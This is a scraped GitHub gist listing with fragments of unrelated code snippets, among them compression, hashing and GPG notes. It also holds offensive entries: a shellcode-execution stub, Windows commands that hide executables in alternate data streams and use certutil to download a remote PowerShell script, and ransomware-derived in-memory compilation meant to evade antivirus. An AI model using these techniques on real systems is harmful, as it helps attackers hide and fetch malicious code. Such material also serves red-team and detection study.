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/* PROG1.C */
/* Simple Hashing LZ77 Sliding Dictionary Compression Program */
/* By Rich Geldreich, Jr. October, 1993 */
/* Originally compiled with QuickC v2.5 in the small model. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
/* set this to 1 for a greedy encoder */
@sneves
sneves / ct32.c
Last active December 28, 2021 19:43
/*
Constant-time integer comparisons
Written in 2014 by Samuel Neves <[email protected]>
To the extent possible under law, the author(s) have dedicated all copyright
and related and neighboring rights to this software to the public domain
worldwide. This software is distributed without any warranty.
You should have received a copy of the CC0 Public Domain Dedication along with
@lh3
lh3 / inthash.c
Last active November 5, 2024 21:04
Invertible integer hash functions
/*
For any 1<k<=64, let mask=(1<<k)-1. hash_64() is a bijection on [0,1<<k), which means
hash_64(x, mask)==hash_64(y, mask) if and only if x==y. hash_64i() is the inversion of
hash_64(): hash_64i(hash_64(x, mask), mask) == hash_64(hash_64i(x, mask), mask) == x.
*/
// Thomas Wang's integer hash functions. See <https://gist.github.com/lh3/59882d6b96166dfc3d8d> for a snapshot.
uint64_t hash_64(uint64_t key, uint64_t mask)
{
key = (~key + (key << 21)) & mask; // key = (key << 21) - key - 1;
@bnagy
bnagy / gpgmutt.md
Last active July 21, 2025 11:06
Mutt, Gmail and GPG

GPG / Mutt / Gmail

About

This is a collection of snippets, not a comprehensive guide. I suggest you start with Operational PGP.

Here is an incomplete list of things that are different from other approaches:

  • I don't use keyservers. Ever.
  • Yes, I use Gmail instead of some bespoke hipster freedom service
@sinmygit
sinmygit / shellcode.js
Created November 28, 2015 06:05
Execute ShellCode Via Jscript.NET
import System;
import System.Runtime.InteropServices;
import System.Reflection;
import System.Reflection.Emit;
import System.Runtime;
import System.Text;
//C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe Shellcode.js
//C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe Shellcode.js
@itszn
itszn / subleq.py
Created October 16, 2017 04:24
Binary Ninja subleq plugin
from binaryninja import (Architecture, RegisterInfo, InstructionInfo,
InstructionTextToken, InstructionTextTokenType, InstructionTextTokenContext,
BranchType,
LowLevelILOperation, LLIL_TEMP,
LowLevelILLabel,
FlagRole,
LowLevelILFlagCondition,
log_error,
CallingConvention,
interaction,
// gcc -Wall dxgiinfo.c -o dxgiinfo -ldxgi -ld3d11
#define COBJMACROS
#include <initguid.h>
#include <stdbool.h>
#include <stdio.h>
#include <conio.h>
#include <dxgi1_5.h>
#include <d3d11.h>
@api0cradle
api0cradle / Exe_ADS_Methods.md
Last active August 18, 2025 16:50
Execute from Alternate Streams

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

@TheKevinWang
TheKevinWang / CompileInMemory.cs
Last active October 23, 2024 04:43
Compile and run C# code in memory to avoid anti-virus. Taken from a C# ransomware sample: https://www.bleepingcomputer.com/news/security/new-c-ransomware-compiles-itself-at-runtime/ However, this will still execute csc.exe and drop a dll to %temp% https://twitter.com/Laughing_Mantis/status/991018563296157696
using System;
using System.Collections.Generic;
using System.Text;
using System.CodeDom.Compiler;
using Microsoft.CSharp;
using System.IO;
using System.Reflection;
namespace InMemoryCompiler
{
class Program